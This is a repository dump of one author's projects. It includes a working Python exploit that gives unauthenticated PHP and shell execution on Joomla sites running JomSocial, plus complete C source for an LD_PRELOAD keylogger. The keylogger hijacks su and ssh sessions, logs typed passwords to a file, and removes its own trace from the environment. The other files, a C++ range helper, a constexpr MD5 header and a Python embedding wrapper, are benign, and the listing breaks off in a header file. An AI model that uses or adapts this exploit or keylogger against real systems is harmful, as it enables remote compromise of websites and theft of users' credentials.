├── JomSocial-Exploit
└── exploit.py
├── c++_stuff
└── range.cpp
├── constexpr_hashes
└── md5.h
├── keylogger
├── Makefile
└── keylogger.c
├── pywrapper
├── pywrapper.cpp
└── pywrapper.h
├── rootkit
├── Makefile
└── rootkit.c
├── small_uint
└── small_uint.h
└── socks5
└── socks5.cpp
/JomSocial-Exploit/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | #
3 | # Joomla! JomSocial component >= 2.6 PHP code execution exploit
4 | #
5 | # Authors:
6 | # - Matias Fontanini
7 | # - Gaston Traberg
8 | #
9 | # This exploit allows the execution of PHP code without any prior
10 | # authentication on the Joomla! JomSocial component.
11 | #
12 | # Note that in order to be able to execute PHP code, both the "eval"
13 | # and "assert" functions must be enabled. It is also possible to execute
14 | # arbitrary PHP functions, without using them. Therefore, it is possible
15 | # to execute shell commands using "system", "passthru", etc, as long
16 | # as they are enabled.
17 | #
18 | # Examples:
19 | #
20 | # Execute PHP code:
21 | # ./exploit.py -u http://example.com/index.php -p "echo 'Hello World!';"
22 | # ./exploit.py -u http://example.com/index.php -p /tmp/script_to_execute.php
23 | #
24 | # Execute shell commands(using system()):
25 | # ./exploit.py -u http://example.com/index.php -s "netstat -n"
26 | #
27 | # Exploit shell commands(using a user provided function, passthru in this case)
28 | # ./exploit.py -u http://example.com/joomla/index.php -s "netstat -natp" -c passthru
29 | #
30 | # Exploit execution example:
31 | # $ python exploit.py -u http://example.com/index.php -p 'var_dump("Hello World!");'
32 | # [i] Retrieving cookies and anti-CSRF token... Done
33 | # [+] Executing PHP code...
34 | # string(12) "Hello World!"
35 |
36 | import urllib, urllib2, re, argparse, sys, os, cookielib
37 |
38 | class Exploit:
39 | token_request_data = 'option=com_community&view=frontpage'
40 | exploit_request_data = 'option=community&no_html=1&task=azrul_ajax&func=photos,ajaxUploadAvatar&{0}=1&arg2=["_d_","Event"]&arg3=["_d_","374"]&arg4=["_d_","{1}"]'
41 | json_data = '{{"call":["CStringHelper","escape", "{1}","{0}"]}}'
42 |
43 | def __init__(self, url, user_agent = None, use_eval = True):
44 | self.url = url
45 | self._set_user_agent(user_agent)
46 | self.use_eval = use_eval
47 | self.token_regex = re.compile('')
48 | self.cookie_jar = cookielib.CookieJar()
49 | self.token = self._retrieve_token()
50 | self.result_regex = re.compile('method=\\\\"POST\\\\" enctype=\\\\"multipart\\\\/form-data\\\\">
(.*)
', re.DOTALL)
51 | self.command_regex = re.compile('(.*)\\[\\["as","ajax_calls","d",""\\]', re.DOTALL)
52 |
53 | def _set_user_agent(self, user_agent):
54 | self.user_agent = user_agent
55 |
56 | def _make_opener(self):
57 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie_jar))
58 | opener.addheaders.append(('Referer', self.url))
59 | if self.user_agent:
60 | opener.addheaders.append(('User-Agent', self.user_agent))
61 | return opener
62 |
63 | def _retrieve_token(self):
64 | opener = self._make_opener()
65 | sys.stdout.write('[i] Retrieving cookies and anti-CSRF token... ')
66 | sys.stdout.flush()
67 | req = opener.open(self.url, Exploit.token_request_data)
68 | data = req.read()
69 | token = self.token_regex.findall(data)
70 | if len(token) < 1:
71 | print 'Failed'
72 | raise Exception("Could not retrieve anti-CSRF token")
73 | print 'Done'
74 | return token[0]
75 |
76 | def _do_call_function(self, function, parameter):
77 | parameter = parameter.replace('"', '\\"')
78 | json_data = Exploit.json_data.format(function, parameter)
79 | json_data = urllib2.quote(json_data)
80 | data = Exploit.exploit_request_data.format(self.token, json_data)
81 | opener = self._make_opener()
82 | req = opener.open(self.url, data)
83 | if function == 'assert':
84 | return req.read()
85 | elif function in ['system', 'passthru']:
86 | result = self.command_regex.findall(req.read())
87 | if len(result) == 1:
88 | return result[0]
89 | else:
90 | return "[+] Error executing command."
91 | else:
92 | result = self.result_regex.findall(req.read())
93 | if len(result) == 1:
94 | return result[0].replace('\\/', '/').replace('\\"', '"').replace('\\n', '\n')
95 | else:
96 | return "[+] Error executing command."
97 |
98 | def call_function(self, function, parameter):
99 | if self.use_eval:
100 | return self.eval("echo {0}('{1}')".format(function, parameter))
101 | else:
102 | return self._do_call_function(function, parameter)
103 |
104 | def disabled_functions(self):
105 | return self.call_function("ini_get", "disable_functions")
106 |
107 | def test_injection(self):
108 | result = self.eval("echo 'HELLO' . ' - ' . 'WORLD';")
109 | if 'HELLO - WORLD' in result:
110 | print "[+] Code injection using eval works"
111 | else:
112 | print "[+] Code injection doesn't work. Try executing shell commands."
113 |
114 | def eval(self, code):
115 | if code [-1] != ';':
116 | code = code + ';'
117 | return self._do_call_function('assert', "@exit(@eval(@base64_decode('{0}')));".format(code.encode('base64').replace('\n', '')))
118 |
119 |
120 |
121 | parser = argparse.ArgumentParser(
122 | description="JomSocial >= 2.6 - Code execution exploit"
123 | )
124 | parser.add_argument('-u', '--url', help='the base URL', required=True)
125 | parser.add_argument(
126 | '-p',
127 | '--php-code',
128 | help='the PHP code to execute. Use \'-\' to read from stdin, or provide a file path to read from')
129 | parser.add_argument('-s', '--shell-command', help='the shell command to execute')
130 | parser.add_argument('-c', '--shell-function', help='the PHP function to use when executing shell commands', default="system")
131 | parser.add_argument('-t', '--test', action='store_true', help='test the PHP code injection using eval', default=False)
132 | parser.add_argument('-n', '--no-eval', action='store_false', help='don\'t use eval when executing shell commands', default=True)
133 |
134 | args = parser.parse_args()
135 | if not args.test and not args.php_code and not args.shell_command:
136 | print '[-] Need -p, -t or -s to do something...'
137 | exit(1)
138 | url = args.url
139 | try:
140 | if not url.startswith('http://') and not url.startswith('https://'):
141 | url = 'http://' + url
142 | exploit = Exploit(url, use_eval=args.no_eval)
143 | if args.test:
144 | exploit.test_injection()
145 | elif args.php_code:
146 | code = args.php_code
147 | if args.php_code == '-':
148 | print '[i] Enter the code to be executed:'
149 | code = sys.stdin.read()
150 | elif os.path.isfile(code):
151 | try:
152 | fd = open(code)
153 | code = fd.read()
154 | fd.close()
155 | except Exception:
156 | print "[-] Error reading the file."
157 | exit(1)
158 | print '[+] Executing PHP code...'
159 | print exploit.eval(code)
160 | elif args.shell_command:
161 | print exploit.call_function(args.shell_function, args.shell_command)
162 | except Exception as ex:
163 | print '[+] Error: ' + str(ex)
164 |
--------------------------------------------------------------------------------
/c++_stuff/range.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | template
5 | class range_iterator : public std::iterator{
6 | public:
7 | range_iterator(const T &item) : item(item) {}
8 |
9 | // Dereference, returns the current item.
10 | const T &operator*() {
11 | return item;
12 | }
13 |
14 | // Prefix.
15 | range_iterator &operator++() {
16 | ++item;
17 | return *this;
18 | }
19 |
20 | // Postfix.
21 | range_iterator &operator++(int) {
22 | range_iterator range_copy(*this);
23 | ++item;
24 | return range_copy;
25 | }
26 |
27 | // Compare internal item
28 | bool operator==(const range_iterator &rhs) {
29 | return item == rhs.item;
30 | }
31 |
32 | // Same as above
33 | bool operator!=(const range_iterator &rhs) {
34 | return !(*this == rhs);
35 | }
36 | private:
37 | T item;
38 | };
39 |
40 | template
41 | class range_wrapper {
42 | public:
43 | range_wrapper(const T &r_start, const T &r_end)
44 | : r_start(r_start), r_end(r_end) {}
45 |
46 | range_iterator begin() {
47 | return {r_start};
48 | }
49 |
50 | range_iterator end() {
51 | return {r_end};
52 | }
53 | private:
54 | T r_start, r_end;
55 | };
56 |
57 | // Returns a range_wrapper containing the range [start, end)
58 | template
59 | range_wrapper range(const T &start, const T &end) {
60 | return {start, end};
61 | }
62 |
63 | // Returns a range_wrapper containing the range [T(), end)
64 | template
65 | range_wrapper range(const T &end) {
66 | return {T(), end};
67 | }
68 |
69 | int main() {
70 | // Range from [5, 15)
71 | for(const auto &item : range(5, 15))
72 | std::cout << item << ' ';
73 | std::cout << std::endl;
74 |
75 | // Range from [0, 10)
76 | for(const auto &item : range(10))
77 | std::cout << item << ' ';
78 | std::cout << std::endl;
79 | }
80 |
--------------------------------------------------------------------------------
/constexpr_hashes/md5.h:
--------------------------------------------------------------------------------
1 | /*
2 | * This program is free software; you can redistribute it and/or modify
3 | * it under the terms of the GNU General Public License as published by
4 | * the Free Software Foundation; either version 2 of the License, or
5 | * (at your option) any later version.
6 | *
7 | * This program is distributed in the hope that it will be useful,
8 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
9 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
10 | * GNU General Public License for more details.
11 | *
12 | * You should have received a copy of the GNU General Public License
13 | * along with this program; if not, write to the Free Software
14 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
15 | * MA 02110-1301, USA.
16 | *
17 | * Author: Matias Fontanini
18 | */
19 |
20 | #ifndef CONSTEXPR_HASH_MD5_H
21 | #define CONSTEXPR_HASH_MD5_H
22 |
23 | #include
24 | #include
25 | #include
26 |
27 |
28 | namespace ConstexprHashes {
29 | // MD5 operations
30 | constexpr uint32_t f(uint32_t x, uint32_t y, uint32_t z) {
31 | return z ^ (x & (y ^ z));
32 | }
33 |
34 | constexpr uint32_t g(uint32_t x, uint32_t y, uint32_t z) {
35 | return y ^ (z & (x ^ y));
36 | }
37 |
38 | constexpr uint32_t h(uint32_t x, uint32_t y, uint32_t z) {
39 | return x ^ y ^ z;
40 | }
41 |
42 | constexpr uint32_t i(uint32_t x, uint32_t y, uint32_t z) {
43 | return y ^ (x | ~z);
44 | }
45 |
46 | constexpr uint32_t step_helper(uint32_t fun_val, uint32_t s, uint32_t b) {
47 | return ((fun_val << s) | ((fun_val & 0xffffffff) >> (32 - s))) + b;
48 | }
49 |
50 | // Generic application of the "fun" function
51 |
52 | template
53 | constexpr uint32_t step(Functor fun, uint32_t a, uint32_t b, uint32_t c, uint32_t d, uint32_t x, uint32_t t, uint32_t s) {
54 | return step_helper(a + fun(b, c, d) + x + t, s, b);
55 | }
56 |
57 | // Retrieve the nth uint32_t in the buffer
58 |
59 | constexpr uint32_t data32(const char* data, size_t n) {
60 | return (static_cast(data[n * 4]) & 0xff) |
61 | ((static_cast(data[n * 4 + 1]) << 8) & 0xff00) |
62 | ((static_cast(data[n * 4 + 2]) << 16) & 0xff0000) |
63 | ((static_cast(data[n * 4 + 3]) << 24) & 0xff000000);
64 | }
65 |
66 | // Constants
67 |
68 | constexpr std::array md5_constants = {{
69 | 0xd76aa478,0xe8c7b756,0x242070db,0xc1bdceee,0xf57c0faf,0x4787c62a,
70 | 0xa8304613,0xfd469501,0x698098d8,0x8b44f7af,0xffff5bb1,0x895cd7be,
71 | 0x6b901122,0xfd987193,0xa679438e,0x49b40821,0xf61e2562,0xc040b340,
72 | 0x265e5a51,0xe9b6c7aa,0xd62f105d,0x02441453,0xd8a1e681,0xe7d3fbc8,
73 | 0x21e1cde6,0xc33707d6,0xf4d50d87,0x455a14ed,0xa9e3e905,0xfcefa3f8,
74 | 0x676f02d9,0x8d2a4c8a,0xfffa3942,0x8771f681,0x6d9d6122,0xfde5380c,
75 | 0xa4beea44,0x4bdecfa9,0xf6bb4b60,0xbebfbc70,0x289b7ec6,0xeaa127fa,
76 | 0xd4ef3085,0x04881d05,0xd9d4d039,0xe6db99e5,0x1fa27cf8,0xc4ac5665,
77 | 0xf4292244,0x432aff97,0xab9423a7,0xfc93a039,0x655b59c3,0x8f0ccc92,
78 | 0xffeff47d,0x85845dd1,0x6fa87e4f,0xfe2ce6e0,0xa3014314,0x4e0811a1,
79 | 0xf7537e82,0xbd3af235,0x2ad7d2bb,0xeb86d391
80 | }};
81 |
82 | constexpr std::array md5_shift = {{
83 | 7,12,17,22,7,12,17,22,7,12,17,22,7,12,17,22,5,9,14,20,5,9,14,20,
84 | 5,9,14,20,5,9,14,20,4,11,16,23,4,11,16,23,4,11,16,23,4,11,16,23,
85 | 6,10,15,21,6,10,15,21,6,10,15,21,6,10,15,21
86 | }};
87 |
88 | constexpr std::array md5_indexes = {{
89 | 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,1,6,11,0,5,10,15,4,
90 | 9,14,3,8,13,2,7,12,5,8,11,14,1,4,7,10,13,0,3,6,9,12,15,2,
91 | 0,7,14,5,12,3,10,1,8,15,6,13,4,11,2,9
92 | }};
93 |
94 | // Functions applied
95 |
96 | constexpr std::array md5_functions = {{
97 | f, g, h, i
98 | }};
99 |
100 | /******************** Initial buffer generators ***********************/
101 |
102 | // index_tuples to fill the initial buffer
103 |
104 | template
105 | struct index_tuple {};
106 |
107 | template
108 | struct index_tuple {
109 | typedef typename index_tuple::type type;
110 | };
111 |
112 | template
113 | struct index_tuple<0, indexes...> {
114 | typedef index_tuple type;
115 | };
116 |
117 | template
118 | struct index_tuple_maker {
119 | typedef typename index_tuple::type type;
120 | };
121 |
122 | /* This builds the buffer.
123 | *
124 | * For indexes < string length: output the ith character in the string.
125 | * For indexes > string length: output 0.
126 | * If index == string length: output 0x80
127 | * If index == 56: output string length << 3
128 | *
129 | */
130 |
131 | template
132 | struct buffer_builder {
133 | static constexpr char make_value(const char *data) {
134 | return (i <= n) ? data[i] : 0;
135 | }
136 | };
137 |
138 | template
139 | struct buffer_builder {
140 | static constexpr char make_value(const char *) {
141 | return 0x80;
142 | }
143 | };
144 |
145 | template
146 | struct buffer_builder {
147 | static constexpr char make_value(const char *) {
148 | return n << 3;
149 | }
150 | };
151 |
152 | /*
153 | * Simple array implementation, which allows constexpr access to its
154 | * elements.
155 | */
156 |
157 | template
158 | struct constexpr_array {
159 | const T array[n];
160 |
161 | constexpr const T *data() const {
162 | return array;
163 | }
164 | };
165 |
166 | typedef constexpr_array buffer_type;
167 |
168 | template
169 | constexpr buffer_type make_buffer_helper(const char (&data)[n], index_tuple) {
170 | return buffer_type{{ buffer_builder::make_value(data)... }};
171 | }
172 |
173 | // Creates the actual buffer
174 |
175 | template
176 | constexpr buffer_type make_buffer(const char (&data)[n]) {
177 | return make_buffer_helper(data, index_tuple<64>::type());
178 | }
179 |
180 |
181 |
182 | /************************ MD5 impl ***************************/
183 |
184 | typedef std::array md5_type;
185 |
186 | /*
187 | * There are 64 steps. The ith step has the same structure as the ith + 4 step.
188 | * That means that we can repeat the same structure, and pick the appropiate
189 | * constants and function to apply, depending on the step number.
190 | */
191 |
192 | template
193 | struct md5_step;
194 |
195 | /*
196 | * Nasty, but works. Convert the MD5 result(which is 4 uint32_t), to
197 | * a std::array.
198 | */
199 |
200 |
201 | constexpr md5_type make_md5_result(uint32_t a, uint32_t b, uint32_t c, uint32_t d) {
202 | typedef md5_type::value_type value_type;
203 | return md5_type{{
204 | static_cast(a & 0xff), static_cast((a & 0xff00) >> 8),
205 | static_cast((a & 0xff0000) >> 16), static_cast((a & 0xff000000) >> 24),
206 |
207 | static_cast(b & 0xff), static_cast((b & 0xff00) >> 8),
208 | static_cast((b & 0xff0000) >> 16), static_cast((b & 0xff000000) >> 24),
209 |
210 | static_cast(c & 0xff), static_cast((c & 0xff00) >> 8),
211 | static_cast((c & 0xff0000) >> 16), static_cast((c & 0xff000000) >> 24),
212 |
213 | static_cast(d & 0xff), static_cast((d & 0xff00) >> 8),
214 | static_cast((d & 0xff0000) >> 16), static_cast((d & 0xff000000) >> 24),
215 | }};
216 | }
217 |
218 | template<>
219 | struct md5_step<64, 0> {
220 | static constexpr md5_type do_step(const char *, uint32_t a, uint32_t b, uint32_t c, uint32_t d) {
221 | return make_md5_result(a + 0x67452301, b + 0xefcdab89, c + 0x98badcfe, d + 0x10325476);
222 | }
223 | };
224 |
225 | template
226 | struct md5_step {
227 | static constexpr md5_type do_step(const char *data, uint32_t a, uint32_t b, uint32_t c, uint32_t d) {
228 | return md5_step::do_step(data, a, step(md5_functions[n / 16], b, c, d, a, data32(data, md5_indexes[n]), md5_constants[n], md5_shift[n]), c, d);
229 | }
230 | };
231 |
232 | template
233 | struct md5_step {
234 | static constexpr md5_type do_step(const char *data, uint32_t a, uint32_t b, uint32_t c, uint32_t d) {
235 | return md5_step::do_step(data, a, b, step(md5_functions[n / 16], c, d, a, b, data32(data, md5_indexes[n]), md5_constants[n], md5_shift[n]), d);
236 | }
237 | };
238 |
239 | template
240 | struct md5_step {
241 | static constexpr md5_type do_step(const char *data, uint32_t a, uint32_t b, uint32_t c, uint32_t d) {
242 | return md5_step::do_step(data, a, b, c, step(md5_functions[n / 16], d, a, b, c, data32(data, md5_indexes[n]), md5_constants[n], md5_shift[n]));
243 | }
244 | };
245 |
246 | template
247 | struct md5_step {
248 | static constexpr md5_type do_step(const char *data, uint32_t a, uint32_t b, uint32_t c, uint32_t d) {
249 | return md5_step::do_step(data, step(md5_functions[n / 16], a, b, c, d, data32(data, md5_indexes[n]), md5_constants[n], md5_shift[n]), b, c, d);
250 | }
251 | };
252 |
253 | template
254 | constexpr md5_type md5(const char (&data)[n]) {
255 | return md5_step<0, 0>::do_step(make_buffer(data).data(), 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476);
256 | }
257 |
258 | } // namespace ConstexprHashes
259 | #endif //CONSTEXPR_HASH_MD5_H
260 |
--------------------------------------------------------------------------------
/keylogger/Makefile:
--------------------------------------------------------------------------------
1 | CC=gcc
2 | CFLAGS=-c -Wall -O3 -fPIC
3 | LDFLAGS=-ldl -Wl,-soname,keylogger.so -shared
4 | SOURCES=$(wildcard keylogger.c)
5 |
6 | OBJECTS=$(SOURCES:.c=.o)
7 | INCLUDE =
8 | EXECUTABLE=keylogger.so
9 |
10 | all: $(SOURCES) $(EXECUTABLE)
11 |
12 | compile: $(OBJECTS)
13 |
14 | recompile: clean all
15 |
16 | $(EXECUTABLE): $(OBJECTS)
17 | $(CC) $(OBJECTS) $(LDFLAGS) -o $@
18 |
19 | .cpp.o:
20 | $(CC) $(CFLAGS) $(INCLUDE) $< -o $@
21 |
22 | clean:
23 | rm $(OBJECTS) $(EXECUTABLE)
24 |
--------------------------------------------------------------------------------
/keylogger/keylogger.c:
--------------------------------------------------------------------------------
1 | /* This program is free software; you can redistribute it and/or modify
2 | * it under the terms of the GNU General Public License as published by
3 | * the Free Software Foundation; either version 3 of the License, or
4 | * (at your option) any later version.
5 | *
6 | * This program is distributed in the hope that it will be useful,
7 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
8 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
9 | * GNU General Public License for more details.
10 | *
11 | * You should have received a copy of the GNU General Public License
12 | * along with this program; if not, write to the Free Software
13 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
14 | * MA 02110-1301, USA.
15 | *
16 | * Author: Matias Fontanini
17 | */
18 |
19 | #define _XOPEN_SOURCE 600
20 | #include
21 | #include
22 | #include
23 | #include
24 | #include
25 | #include
26 | #include
27 | #include
28 | #include
29 | #include
30 | #include
31 | #define __USE_BSD
32 | #include
33 |
34 | /* Redefine OUTPUT_FILE to whatever path you want your log to be saved. */
35 | #ifndef OUTPUT_FILE
36 | #define OUTPUT_FILE "/tmp/output"
37 | #endif
38 | #define RTLD_NEXT ((void *) -1l)
39 |
40 | typedef int (*execve_fun)(const char *filename, char *const argv[], char *const envp[]);
41 | void __attribute__ ((constructor)) init(void);
42 |
43 | extern char **environ;
44 | /* The real execve pointer. */
45 | execve_fun execve_ptr = 0;
46 | /* Our file descriptor. */
47 | int file = -1;
48 | /* The read buffer. */
49 | char buffer[256];
50 | /* Array containing the files we want to monitor(ended with a null pointer). */
51 | char *injected_files[] = { "/bin/su", "/usr/bin/ssh", 0 };
52 |
53 | int do_read_write(int read_fd, int write_fd, int log) {
54 | int bread, i, start, dummy;
55 | do {
56 | /* Read a chunk of data from the provided descriptor. */
57 | if((bread = read(read_fd, buffer, sizeof(buffer))) <= 0)
58 | return 0;
59 | /* Should we log this read? */
60 | if(log && file != -1) {
61 | i = 0;
62 | start = 0;
63 | /* Loop through the data. If we find any \r character,
64 | * we will write it to out log file and also write a
65 | * \n afterwards. */
66 | while(i < bread) {
67 | while(i < bread && buffer[i] != '\r')
68 | i++;
69 | if(i < bread)
70 | i++;
71 | dummy = write(file, buffer + start, i - start);
72 | if(i < bread || (start < bread && buffer[bread-1] == '\r'))
73 | dummy = write(file, "\n", 1);
74 | start = i;
75 | }
76 | }
77 | /* Finally, write it to write_fd. */
78 | if(write(write_fd, buffer, bread) <= 0)
79 | return 0;
80 | /* Keep looping while "read" fills our buffer. */
81 | } while(bread == sizeof(buffer));
82 | return 1;
83 | }
84 |
85 | void do_select(int descriptor) {
86 | fd_set fds;
87 | while(1) {
88 | /* Initialize the fd_set and add stdin and the
89 | * master fd to it. */
90 | FD_ZERO(&fds);
91 | FD_SET(0, &fds);
92 | FD_SET(descriptor, &fds);
93 | /* Wait for data... */
94 | if(select(descriptor + 1, &fds, 0, 0, 0) == -1)
95 | return;
96 | /* If stdin has data, we will read from it and write
97 | * on the master fd. */
98 | if(FD_ISSET(0, &fds)) {
99 | if(!do_read_write(0, descriptor, 1))
100 | return;
101 | }
102 | /* If the master fd has data, we will read from it
103 | * and write it to stdout. */
104 | if(FD_ISSET(descriptor, &fds)) {
105 | if(!do_read_write(descriptor, 1, 0))
106 | return;
107 | }
108 | }
109 | }
110 |
111 | int execve(const char *filename, char *const argv[], char *const envp[]) {
112 | pid_t pid;
113 | struct winsize wsize;
114 | int master_fd, inject = 0;
115 | char **files_ptr;
116 | /* Lookup the real execve address. */
117 | if(!execve_ptr)
118 | execve_ptr = (execve_fun)dlsym(RTLD_NEXT, "execve");
119 | /* Check if filename is one of the files in which we have to
120 | * keylog. */
121 | for(files_ptr = injected_files; *files_ptr; files_ptr++) {
122 | if(!strcmp(*files_ptr, filename))
123 | inject = 1;
124 | }
125 | /* It's not one of the files, just normally call execve. */
126 | if(!inject)
127 | return execve_ptr(filename, argv, envp);
128 |
129 | /* Get the TTY window size. */
130 | ioctl(0, TIOCGWINSZ, &wsize);
131 | /* Open a pty master fd. */
132 | if((master_fd = posix_openpt(O_RDWR | O_NOCTTY)) == -1)
133 | return -1;
134 | if(grantpt(master_fd) == -1 || unlockpt(master_fd) == -1)
135 | return -1;
136 |
137 | if ((pid = fork()) == -1) {
138 | return -1;
139 | }
140 | else if (pid == 0) {
141 | int slave_fd;
142 | /* We are the child process. Create a new session and open
143 | * the pty slave fd. */
144 | setsid();
145 | slave_fd = open(ptsname(master_fd), O_RDWR);
146 | /* We don't need master_fd anymore. */
147 | close(master_fd);
148 |
149 | /* Make our tty a controlling tty. */
150 | ioctl(slave_fd, TIOCSCTTY, 0);
151 | /* Set the master's window size. */
152 | ioctl(slave_fd, TIOCSWINSZ, &wsize);
153 | /* Use the slave descriptor in stdin, stdout and stderr. */
154 | if(dup2(slave_fd, 0) == -1 || dup2(slave_fd, 1) == -1 || dup2(slave_fd, 2) == -1)
155 | exit(1);
156 | /* We don't need slave_fd anymore. */
157 | close(slave_fd);
158 |
159 | /* Now call the real execve. */
160 | execve_ptr(filename, argv, envp);
161 | exit(0);
162 | }
163 | else {
164 | int status;
165 | struct termios original, settings;
166 |
167 | /* Get the terminal settings. */
168 | tcgetattr(0, &original);
169 |
170 | settings = original;
171 | /* We don't want echoes in our master fd. */
172 | cfmakeraw (&settings);
173 | tcsetattr (0, TCSANOW, &settings);
174 |
175 | /* Stop being a controlling tty. */
176 | ioctl(master_fd, TIOCSCTTY);
177 | /* Open our log file. */
178 | file = open(OUTPUT_FILE, O_WRONLY | O_APPEND | O_CREAT, 0644);
179 | /* Do reading and writing from the master descriptor. */
180 | do_select(master_fd);
181 | /* Close descriptors. */
182 | close(file);
183 |
184 | close(master_fd);
185 | /* Wait for the child process. */
186 | waitpid(pid, &status, 0);
187 | /* Restore the original terminal settings. */
188 | tcsetattr (0, TCSANOW, &original);
189 | exit(0);
190 | }
191 | }
192 |
193 | void init(void) {
194 | char **env = environ;
195 | while(*env) {
196 | if(strstr(*env, "LD_PRELOAD=") == *env) {
197 | break;
198 | }
199 | env++;
200 | }
201 | while(*env) {
202 | *env = *(env + 1);
203 | env++;
204 | }
205 | }
206 |
--------------------------------------------------------------------------------
/pywrapper/pywrapper.cpp:
--------------------------------------------------------------------------------
1 | /* This program is free software; you can redistribute it and/or modify
2 | * it under the terms of the GNU General Public License as published by
3 | * the Free Software Foundation; either version 3 of the License, or
4 | * (at your option) any later version.
5 | *
6 | * This program is distributed in the hope that it will be useful,
7 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
8 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
9 | * GNU General Public License for more details.
10 | *
11 | * You should have received a copy of the GNU General Public License
12 | * along with this program; if not, write to the Free Software
13 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
14 | * MA 02110-1301, USA.
15 | *
16 | * Author:
17 | * Matias Fontanini
18 | *
19 | */
20 |
21 | #include
22 | #include "pywrapper.h"
23 |
24 | using std::runtime_error;
25 | using std::string;
26 |
27 | namespace Python {
28 | Object::Object() {
29 |
30 | }
31 |
32 | Object::Object(PyObject *obj) : py_obj(make_pyshared(obj)) {
33 |
34 | }
35 |
36 | Python::Object::pyshared_ptr Object::make_pyshared(PyObject *obj) {
37 | return pyshared_ptr(obj, [](PyObject *obj) { Py_XDECREF(obj); });
38 | }
39 |
40 | Object Object::from_script(const string &script_path) {
41 | char arr[] = "path";
42 | PyObject *path(PySys_GetObject(arr));
43 | string base_path("."), file_path;
44 | size_t last_slash(script_path.rfind("/"));
45 | if(last_slash != string::npos) {
46 | if(last_slash >= script_path.size() - 2)
47 | throw runtime_error("Invalid script path");
48 | base_path = script_path.substr(0, last_slash);
49 | file_path = script_path.substr(last_slash + 1);
50 | }
51 | else
52 | file_path = script_path;
53 | if(file_path.rfind(".py") == file_path.size() - 3)
54 | file_path = file_path.substr(0, file_path.size() - 3);
55 | pyunique_ptr pwd(PyString_FromString(base_path.c_str()));
56 |
57 | PyList_Append(path, pwd.get());
58 | /* We don't need that string value anymore, so deref it */
59 | PyObject *py_ptr(PyImport_ImportModule(file_path.c_str()));
60 | if(!py_ptr) {
61 | print_error();
62 | throw runtime_error("Failed to load script");
63 | }
64 | return {py_ptr};
65 | }
66 |
67 | PyObject *Object::load_function(const std::string &name) {
68 | PyObject *obj(PyObject_GetAttrString(py_obj.get(), name.c_str()));
69 | if(!obj)
70 | throw std::runtime_error("Failed to find function");
71 | return obj;
72 | }
73 |
74 | Object Object::call_function(const std::string &name) {
75 | pyunique_ptr func(load_function(name));
76 | PyObject *ret(PyObject_CallObject(func.get(), 0));
77 | if(!ret)
78 | throw std::runtime_error("Failed to call function");
79 | return {ret};
80 | }
81 |
82 | Object Object::get_attr(const std::string &name) {
83 | PyObject *obj(PyObject_GetAttrString(py_obj.get(), name.c_str()));
84 | if(!obj)
85 | throw std::runtime_error("Unable to find attribute '" + name + '\'');
86 | return {obj};
87 | }
88 |
89 | bool Object::has_attr(const std::string &name) {
90 | try {
91 | get_attr(name);
92 | return true;
93 | } catch(std::runtime_error&) {
94 | return false;
95 | }
96 | }
97 |
98 | void initialize() {
99 | Py_Initialize();
100 | }
101 |
102 | void finalize() {
103 | Py_Finalize();
104 | }
105 |
106 | void clear_error() {
107 | PyErr_Clear();
108 | }
109 |
110 | void print_error() {
111 | PyErr_Print();
112 | }
113 |
114 | void print_object(PyObject *obj) {
115 | PyObject_Print(obj, stdout, 0);
116 | }
117 |
118 | // Allocation methods
119 |
120 | PyObject *alloc_pyobject(const std::string &str) {
121 | return PyString_FromString(str.c_str());
122 | }
123 |
124 | PyObject *alloc_pyobject(const std::vector &val, size_t sz) {
125 | return PyByteArray_FromStringAndSize(val.data(), sz);
126 | }
127 |
128 | PyObject *alloc_pyobject(const std::vector &val) {
129 | return alloc_pyobject(val, val.size());
130 | }
131 |
132 | PyObject *alloc_pyobject(const char *cstr) {
133 | return PyString_FromString(cstr);
134 | }
135 |
136 | PyObject *alloc_pyobject(bool value) {
137 | return PyBool_FromLong(value);
138 | }
139 |
140 | PyObject *alloc_pyobject(double num) {
141 | return PyFloat_FromDouble(num);
142 | }
143 |
144 | bool is_py_int(PyObject *obj) {
145 | return PyInt_Check(obj);
146 | }
147 |
148 | bool is_py_float(PyObject *obj) {
149 | return PyFloat_Check(obj);
150 | }
151 |
152 | bool convert(PyObject *obj, std::string &val) {
153 | if(!PyString_Check(obj))
154 | return false;
155 | val = PyString_AsString(obj);
156 | return true;
157 | }
158 |
159 | bool convert(PyObject *obj, std::vector &val) {
160 | if(!PyByteArray_Check(obj))
161 | return false;
162 | if(val.size() < (size_t)PyByteArray_Size(obj))
163 | val.resize(PyByteArray_Size(obj));
164 | std::copy(PyByteArray_AsString(obj),
165 | PyByteArray_AsString(obj) + PyByteArray_Size(obj),
166 | val.begin());
167 | return true;
168 | }
169 |
170 | /*bool convert(PyObject *obj, Py_ssize_t &val) {
171 | return generic_convert(obj, is_py_int, PyInt_AsSsize_t, val);
172 | }*/
173 | bool convert(PyObject *obj, bool &value) {
174 | if(obj == Py_False)
175 | value = false;
176 | else if(obj == Py_True)
177 | value = true;
178 | else
179 | return false;
180 | return true;
181 | }
182 |
183 | bool convert(PyObject *obj, double &val) {
184 | return generic_convert(obj, is_py_float, PyFloat_AsDouble, val);
185 | }
186 |
187 | /*bool convert(PyObject *obj, size_t &val) {
188 | return generic_convert(obj, is_py_int, PyInt_AsLong, val);
189 | }*/
190 |
191 |
192 | }
193 |
--------------------------------------------------------------------------------
/pywrapper/pywrapper.h:
--------------------------------------------------------------------------------
1 | /* This program is free software; you can redistribute it and/or modify
2 | * it under the terms of the GNU General Public License as published by
3 | * the Free Software Foundation; either version 3 of the License, or
4 | * (at your option) any later version.
5 | *
6 | * This program is distributed in the hope that it will be useful,
7 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
8 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
9 | * GNU General Public License for more details.
10 | *
